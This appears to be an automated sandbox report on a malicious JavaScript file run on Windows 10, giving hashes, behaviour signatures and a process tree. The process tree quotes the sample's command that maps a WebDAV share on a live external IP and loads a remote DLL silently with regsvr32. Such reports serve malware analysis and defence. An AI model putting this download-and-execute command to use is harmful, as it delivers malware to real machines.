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Analysis

  • max time kernel
    136s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 01:59

General

  • Target

    481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js

  • Size

    5KB

  • MD5

    faa51a9a2d6453c9891d0c6da588b909

  • SHA1

    35abea292f696cae0732eb6d92bf16453ff05370

  • SHA256

    481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435

  • SHA512

    e4c03a74970f48f920676832a6813d669da7c6bc59e849a01fd0f7024fa4622bc9e9ad1c70b2bcdc296422edfce1470ac82a787a0e54943c7a2ce64f25392c61

  • SSDEEP

    96:suHBvkYxuYFYrYrY/FYlYUYcLRQYrYUYk5YghhrYxuYbYFYxuYK4YiYxuYRQYvLw:7B8fC2gwQ/lQg/xDhVfUCfotfmQGQg/q

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\481af791a7a6be64cb8ef55d94275727cb66a5ea2821f470e46cba4060f13435.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\291051540225262.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:852

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads